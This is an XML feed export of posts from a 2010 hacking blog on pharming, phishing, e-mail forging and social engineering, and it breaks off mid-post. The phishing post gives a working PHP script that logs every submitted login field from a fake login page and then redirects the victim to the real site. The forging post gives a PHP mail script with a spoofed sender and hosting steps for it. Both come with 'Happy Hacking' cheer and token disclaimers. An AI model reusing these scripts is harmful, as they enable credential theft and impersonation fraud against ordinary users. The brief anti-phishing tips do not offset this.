{}&quot; href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPftwpfQRaI/AAAAAAAAAVo/9phjC5DtSH4/s1600/spoofstick.gif&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 66px;&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPftwpfQRaI/AAAAAAAAAVo/9phjC5DtSH4/s320/spoofstick.gif&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546162886156502434&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color:red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/1830479936011396483/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2010/12/pharming.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/1830479936011396483'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/1830479936011396483'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2010/12/pharming.html' title='PHARMING'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPffwC4cvQI/AAAAAAAAAU4/pyZssSnYYgE/s72-c/pharming-small.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-4195669362776994198</id><published>2010-12-02T04:06:00.000-08:00</published><updated>2010-12-08T09:18:14.135-08:00</updated><title type='text'>PHISHING</title><content type='html'>&lt;ul style=&quot;font-weight: bold;&quot;&gt;&lt;li&gt;What is Phishing ?&lt;/li&gt;&lt;/ul&gt;In the field of computer security, phishing is the &lt;span class=&quot;mw-redirect&quot;&gt;criminally&lt;/span&gt; fraudulent process of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an &lt;span class=&quot;mw-redirect&quot;&gt;electronic communication&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPeUGweFixI/AAAAAAAAAUQ/SpPqoyPYrP0/s1600/TEst%2BBSC%2BJL%2BDLD.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 212px; height: 210px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPeUGweFixI/AAAAAAAAAUQ/SpPqoyPYrP0/s400/TEst%2BBSC%2BJL%2BDLD.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546064309941275410&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Phishing E-mail :&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Phishing is typically carried out by &lt;span class=&quot;mw-redirect&quot;&gt;e-mail&lt;/span&gt; or instant messaging. Phishing e-mail messages take a number of forms:&lt;br /&gt;&lt;br /&gt;1. They might appear to come from your bank or financial institution, a company you regularly do business with, such as Microsoft, or from your social networking site.&lt;br /&gt;&lt;br /&gt;2. Spear phishing is a targeted form of phishing in which an e-mail  message might look like it comes from your employer, or from a colleague  who might send an e-mail message to everyone in the company, such as  the head of human resources or IT.&lt;br /&gt;&lt;br /&gt;3. Phone phishing scams direct you to call a customer support phone  number. A person or an audio response unit waits to take your account  number, personal identification number, password, or other valuable  personal data.&lt;br /&gt;&lt;br /&gt;Here is an example of what a phishing scam in an e-mail message might look like.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPeVuwhfIJI/AAAAAAAAAUY/DYH1w-3HAKs/s1600/54304_fake_url_1.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 425px; height: 315px;&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPeVuwhfIJI/AAAAAAAAAUY/DYH1w-3HAKs/s400/54304_fake_url_1.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546066096661930130&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} p\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} v\:textbox {display:none;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if !ppt]--&gt;&lt;!--[endif]--&gt;  &lt;div class=&quot;O&quot;&gt;  &lt;div style=&quot;&quot;&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Phishing Techniques :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;1. Link Manipulation:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Misspelled URLs or the use of subdomains are common tricks used by phishers, such as this example URL&lt;br /&gt;&lt;br /&gt;&lt;b&gt; &lt;/b&gt;&lt;/div&gt;  &lt;div style=&quot;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color:red;&quot;&gt;www.micosoft.com  &lt;/span&gt;&lt;/div&gt;  &lt;div style=&quot;&quot;&gt;&lt;span style=&quot;color:red;&quot;&gt;&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;www.mircosoft.com&lt;/span&gt;&lt;span style=&quot;color:red;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color:red;&quot;&gt; &lt;/span&gt;&lt;/div&gt;  &lt;div style=&quot;&quot;&gt;&lt;span style=&quot;color:red;&quot;&gt;&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;www.micorsoft.com&lt;/span&gt; &lt;b&gt; &lt;/b&gt;&lt;/div&gt;  &lt;div style=&quot;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;&lt;br /&gt;&lt;/b&gt;instead of &lt;a href=&quot;http://www.microsoft.com/&quot; target=&quot;_parent&quot;&gt;http://www.microsoft.com&lt;/a&gt;&lt;b&gt; &lt;/b&gt;&lt;/div&gt;    &lt;/div&gt;&lt;br /&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} p\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} v\:textbox {display:none;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if !ppt]--&gt;&lt;!--[endif]--&gt;  &lt;div class=&quot;O&quot;&gt;    &lt;div style=&quot;&quot;&gt;Another method of spoofing used links like: &lt;span style=&quot;color:red;&quot;&gt;http://www.facebook.ripway.com/&lt;/span&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;actually this URL points to the &lt;b&gt;&lt;i&gt;facebook&lt;/i&gt;&lt;/b&gt; (i.e. fake login page ) section of the &lt;b&gt;&lt;i&gt;ripway&lt;/i&gt;&lt;/b&gt; website.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;2.&lt;/span&gt; &lt;span style=&quot;font-weight: bold;&quot;&gt;Filter Evasion:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} p\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} v\:textbox {display:none;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if !ppt]--&gt;&lt;!--[endif]--&gt;  &lt;div class=&quot;O&quot;&gt;    &lt;div style=&quot;&quot;&gt;Phishers have used images instead of text to make it harder for anti-phishing filters to detect text commonly&lt;span style=&quot;&quot;&gt; &lt;/span&gt;used in phishing emails. &lt;/div&gt;    &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;    &lt;/div&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Fake Login Page :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} p\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} v\:textbox {display:none;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if !ppt]--&gt;&lt;!--[endif]--&gt;  &lt;div class=&quot;O&quot; style=&quot;&quot;&gt;Fake Login Page exactly looks like the original page of any website. But in the page source, the &lt;span style=&quot;font-style: italic;&quot;&gt;action&lt;/span&gt; field is replaced by a PHP script. This PHP serves two purposes:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Script Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;margin: 0px; padding: 6px; border: 1px inset; width: 500px; height: 150px; text-align: left; overflow: auto;&quot;&gt;&amp;lt;?php&lt;br /&gt;header (&#39;Location: http://www.orkut.com/Home.aspx &#39;);&lt;br /&gt;$handler = fopen(&quot;log.txt&quot;, &quot;a&quot;);&lt;br /&gt;foreach($_POST as $variable =&gt; $value) {&lt;br /&gt;fwrite($handler, $variable);&lt;br /&gt;fwrite($handler, &quot;=&quot;);&lt;br /&gt;fwrite($handler, $value);&lt;br /&gt;fwrite($handler, &quot;\r\n&quot;);&lt;br /&gt;}&lt;br /&gt;fwrite($handler, &quot;\r\n&quot;);&lt;br /&gt;fclose($handler);&lt;br /&gt;exit;&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;1. First it captures the input data (username &amp;amp; password) and sends it to the attacker.&lt;br /&gt;&lt;br /&gt;2. It redirects the victim to the original page to make him believe that the login is normal.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPeYOJ9UuGI/AAAAAAAAAUg/RyU_ADXZVp0/s1600/333.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 411px; height: 231px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPeYOJ9UuGI/AAAAAAAAAUg/RyU_ADXZVp0/s400/333.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546068835088775266&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Phishing Targets :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPeZ-oIKqCI/AAAAAAAAAUo/JZ5XZKrxC8A/s1600/22222.png&quot;&gt;&lt;img style=&quot;float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 239px; height: 274px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPeZ-oIKqCI/AAAAAAAAAUo/JZ5XZKrxC8A/s400/22222.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546070767332665378&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;1. Social networking sites like &lt;span style=&quot;font-style: italic;&quot;&gt;facebook, myspace, orkut&lt;/span&gt; now a prime target of phishing, since the personal details in such sites can be used in identity theft.&lt;br /&gt;&lt;br /&gt;2. The RapidShare file sharing site has been targeted by phishing to obtain a premium account.&lt;br /&gt;&lt;br /&gt;3. Almost half of phishing thefts in 2006 were committed by groups operating through the &lt;i&gt;Russian Business Network&lt;/i&gt; based in &lt;span class=&quot;mw-redirect&quot;&gt;St. Petersburg&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;4. eBay, PayPal and the other online banks are also targeted.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Phishing#cite_note-24&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} p\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} v\:textbox {display:none;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if !ppt]--&gt;&lt;!--[endif]--&gt;  &lt;div class=&quot;O&quot; style=&quot;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Anti Phishing Info : &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;1. Never assume that an email is valid based on the sender’s email address. The email may be forged.&lt;br /&gt;&lt;br /&gt;2. A trusted bank such as CITIBANK will never ask you for your full name and password in a CITIBANK email.&lt;br /&gt;&lt;br /&gt;3. An email from trusted organization will never contain attachments or software.&lt;br /&gt;&lt;br /&gt;4. Always ensure that you&#39;re using a secure website when submitting credit card or other sensitive information.&lt;br /&gt;&lt;br /&gt;5. Get in the habit of looking at the address line. Were you directed to PayPal? Or  something different like http://www.yougotscammed.com/paypal/login.htm?&lt;br /&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} p\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} v\:textbox {display:none;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if !ppt]--&gt;&lt;!--[endif]--&gt;  &lt;div class=&quot;O&quot;&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPedlh7KenI/AAAAAAAAAUw/u7F0gc20I_Y/s1600/444.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 422px; height: 99px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPedlh7KenI/AAAAAAAAAUw/u7F0gc20I_Y/s400/444.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546074734217296498&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;  &lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} p\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} v\:textbox {display:none;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if !ppt]--&gt;&lt;!--[endif]--&gt;  &lt;div class=&quot;O&quot;&gt;  &lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color:red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;  &lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} p\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} v\:textbox {display:none;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if !ppt]--&gt;&lt;!--[endif]--&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/4195669362776994198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2010/12/phishing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/4195669362776994198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/4195669362776994198'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2010/12/phishing.html' title='PHISHING'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPeUGweFixI/AAAAAAAAAUQ/SpPqoyPYrP0/s72-c/TEst%2BBSC%2BJL%2BDLD.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-1908650036458326519</id><published>2010-12-01T06:15:00.000-08:00</published><updated>2010-12-04T23:41:34.985-08:00</updated><title type='text'>E-MAIL FORGING</title><content type='html'>&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;font-size:100%;&quot; &gt;What is E-mail Forging ?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=&quot;font-family:georgia;&quot;&gt;E-mail forging&lt;/span&gt;&lt;span style=&quot;font-family:georgia;&quot;&gt; is e-mail  activity in which the sender address and other parts of the e-mail  header are altered to appear as though the e-mail originated from a  different source.&lt;/span&gt; It is commonly used in &lt;span style=&quot;font-style: italic;&quot;&gt;spam&lt;/span&gt; and &lt;span style=&quot;font-style: italic;&quot;&gt;phishing&lt;/span&gt; e-mails to hide the origin of the e-mail message.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPZZ5mCcjDI/AAAAAAAAATw/-k2Mqa_WmBQ/s1600/Picture2.gif&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 225px; height: 225px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPZZ5mCcjDI/AAAAAAAAATw/-k2Mqa_WmBQ/s400/Picture2.gif&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5545718837151566898&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;font-family:georgia;&quot;&gt;Examples of spoofed email that could affect the security of your site include:&lt;/span&gt;&lt;p  style=&quot;font-family:arial;&quot;&gt;&lt;span style=&quot;font-size:100%;&quot;&gt; &lt;/span&gt;&lt;/p&gt;&lt;ul  style=&quot;font-family:arial;&quot;&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;	&lt;li  style=&quot;font-family:georgia;&quot;&gt;email claiming to be  from a system administrator requesting users to change their passwords  to a specified string and threatening to suspend their account if they  do not do this.&lt;/li&gt; 	&lt;li face=&quot;georgia&quot;&gt;email claiming to be from a person in  authority requesting users to send them a copy of a password file or  other sensitive information.&lt;/li&gt; &lt;/span&gt;&lt;li face=&quot;georgia&quot;&gt;you can send an email to your friend with the following sender details:                                      From: &lt;strong&gt;&lt;span style=&quot;color: rgb(0, 102, 0);&quot;&gt;Bill Gates&lt;/span&gt; &lt;&lt;a href=&quot;mailto:billg@microsoft.com&quot;&gt;billg@microsoft.com&lt;/a&gt;&gt;&lt;/strong&gt;              &lt;/li&gt;&lt;/ul&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPZb0cUmwCI/AAAAAAAAAT4/cYnWtqsUiYo/s1600/phishing-scammer-225x300.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 199px; height: 180px;&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPZb0cUmwCI/AAAAAAAAAT4/cYnWtqsUiYo/s400/phishing-scammer-225x300.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5545720947667288098&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Methods:&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;1. Using SMTP Server: &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;One can send Anonymous emails simply by installing an &lt;span style=&quot;font-weight: bold;&quot;&gt;SMTP&lt;/span&gt; server in his system and using the &lt;span style=&quot;font-weight: bold;&quot;&gt;TELNET&lt;/span&gt; commands:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPZecHFrr5I/AAAAAAAAAUA/BqWugLgYqVk/s1600/Untitled_3.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 446px; height: 235px;&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPZecHFrr5I/AAAAAAAAAUA/BqWugLgYqVk/s400/Untitled_3.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5545723828185575314&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;This method used to work successfully in the past, but today it has a  very low success rate since Gmail and Yahoomail blocks the emails that are sent directly from a PC.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;font-size:100%;&quot; &gt;2. Using Email Script:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First we need to find a PHP supported &lt;strong style=&quot;font-weight: normal;&quot;&gt;web hosting providers&lt;/strong&gt; like &lt;span style=&quot;font-weight: bold; font-style: italic;&quot;&gt;Ripway&lt;/span&gt; or &lt;span style=&quot;font-weight: bold; font-style: italic;&quot;&gt;Freewha&lt;/span&gt; or &lt;span style=&quot;font-weight: bold; font-style: italic;&quot;&gt;110mb.com&lt;/span&gt;. Usually they all are trusted and authorised.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;font-size:100%;&quot; &gt;Script Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;margin: 0px; padding: 6px; border: 1px inset; width: 500px; height: 100px; text-align: left; overflow: auto;&quot;&gt;&amp;lt;?php&lt;br /&gt;$to = &quot;someone@example.com&quot;;&lt;br /&gt;$subject = &quot;Test mail&quot;;&lt;br /&gt;$message = &quot;Hello! This is a simple email message.&quot;;&lt;br /&gt;$from = &quot;someonelse@example.com&quot;;&lt;br /&gt;$headers = &quot;From: $from&quot;;&lt;br /&gt;mail($to,$subject,$message,$headers);&lt;br /&gt;echo &quot;Mail Sent.&quot;;&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now upload the PHP script on that site and set the permission to &lt;span style=&quot;font-weight: bold;&quot;&gt;777&lt;/span&gt;. U are done...&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Prevent Spam :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;1. Use cryptographic signatures (e.g., PGP &quot;Pretty Good Privacy&quot; or other encryption technologies) to exchange authenticated email messages.&lt;br /&gt;&lt;br /&gt;2. Similarly, sites may wish to consider enabling SSL/TLS in their mail transfer software. Using certificates in this manner increases the amount of authentication performed when sending mail.&lt;br /&gt;&lt;br /&gt;3. Configure your mail delivery daemon to prevent someone from directly connecting to your SMTP port to send spoofed email to other sites.&lt;br /&gt;&lt;br /&gt;4. Educate your users about your site&#39;s policies and procedures in order to prevent them from being &quot;social engineered,&quot; or tricked, into disclosing sensitive information (such as passwords).&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TPiZg8cPjsI/AAAAAAAAAWI/JjMXMCB58Z0/s1600/images.jpeg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 214px; height: 163px;&quot; src=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TPiZg8cPjsI/AAAAAAAAAWI/JjMXMCB58Z0/s320/images.jpeg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546351732366216898&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color:red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:georgia;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;font-style: italic;&quot; class=&quot;para&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/1908650036458326519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2010/12/e-mail-forging.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/1908650036458326519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/1908650036458326519'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2010/12/e-mail-forging.html' title='E-MAIL FORGING'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPZZ5mCcjDI/AAAAAAAAATw/-k2Mqa_WmBQ/s72-c/Picture2.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-2738343337361677806</id><published>2010-11-28T07:03:00.000-08:00</published><updated>2013-06-09T11:59:12.751-07:00</updated><title type='text'>SOCIAL ENGINEERING</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;h3 style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;What kind of Engineering is this ?&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPVKKIhclGI/AAAAAAAAATg/stogsv8ty3U/s1600/Picture2.gif&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;Social engineering&lt;/b&gt; is the act of manipulating  people into performing actions or divulging confidential information,  rather than by breaking in or using technical cracking techniques. While similar to a confidence trick or simple fraud,  the term typically applies to trickery or deception for the purpose of  information gathering, fraud, or computer system access; in most cases  the attacker never comes face-to-face with the victim. This also refers to &lt;b&gt;Reverse Engineering&lt;/b&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPUy94lr7AI/AAAAAAAAASg/keSRWgP_tw8/s1600/chalkboard.jpg&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5545394554920496130&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPUy94lr7AI/AAAAAAAAASg/keSRWgP_tw8/s400/chalkboard.jpg&quot; style=&quot;cursor: pointer; display: block; height: 183px; margin: 0px auto 10px; text-align: center; width: 273px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Phishing:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPU2jtWI6ZI/AAAAAAAAASo/AlKj6ZJo3Qw/s1600/TEst%2BBSC%2BJL%2BDLD.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5545398503272409490&quot; 